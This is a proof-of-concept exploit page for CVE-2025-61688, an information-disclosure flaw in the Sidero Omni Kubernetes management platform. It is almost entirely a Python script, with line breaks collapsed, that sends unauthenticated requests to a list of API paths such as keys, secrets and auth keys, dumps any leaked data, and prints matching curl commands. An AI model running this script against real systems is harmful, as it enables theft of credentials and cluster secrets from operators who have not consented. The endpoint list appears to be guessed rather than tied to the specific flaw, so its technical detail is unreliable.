CVE-2025-61688：Sidero Omni Kubernetes管理平台API敏感信息泄露漏洞

# CVE-2025-61688 - Omni API Sensitive Information Disclosure PoC # This PoC demonstrates how an unauthenticated attacker can access # sensitive information via Omni's API endpoints. import requests import sys import json # Target Omni API endpoint (replace with actual target) TARGET_URL = "http://target-omni-instance:8090" def exploit_omni_info_disclosure(target_url): """ Exploit sensitive information disclosure in Omni API. The vulnerability exists in versions prior to 1.1.5 and 1.0.2. """ # Common Omni API endpoints that may leak sensitive information api_endpoints = [ "/api/v1/clusters", "/api/v1/machines", "/api/v1/config", "/api/v1/keys", "/api/v1/secrets", "/api/v1/auth/keys", "/api/v1/identity", "/api/v1/resources", ] headers = { "User-Agent": "Mozilla/5.0", "Accept": "application/json", } leaked_data = {} for endpoint in api_endpoints: url = f"{target_url}{endpoint}" try: # Send unauthenticated request to vulnerable API endpoint response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Status: {response.status_code}") try: data = response.json() leaked_data[endpoint] = data print(f"[+] Leaked data:\n{json.dumps(data, indent=2)}") except json.JSONDecodeError: leaked_data[endpoint] = response.text print(f"[+] Raw response:\n{response.text[:500]}") elif response.status_code == 401: print(f"[-] Authentication required: {endpoint}") elif response.status_code == 403: print(f"[-] Access forbidden: {endpoint}") else: print(f"[?] Unexpected status {response.status_code}: {endpoint}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {endpoint}: {e}") return leaked_data def curl_exploit_example(target_url): """ Simple curl-based exploitation example. """ print("\n=== Curl-based Exploit Examples ===") print(f"# Attempt to access sensitive API endpoints without authentication:\n") print(f"curl -s {target_url}/api/v1/clusters") print(f"curl -s {target_url}/api/v1/machines") print(f"curl -s {target_url}/api/v1/config") print(f"curl -s {target_url}/api/v1/keys") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Targeting: {TARGET_URL}") print(f"[*] CVE-2025-61688 - Omni API Information Disclosure\n") leaked = exploit_omni_info_disclosure(TARGET_URL) curl_exploit_example(TARGET_URL) if leaked: print("\n[!] Sensitive information has been leaked!") print("[!] Review the output above for exposed credentials and configurations.") else: print("\n[-] No vulnerable endpoints found or target is patched.")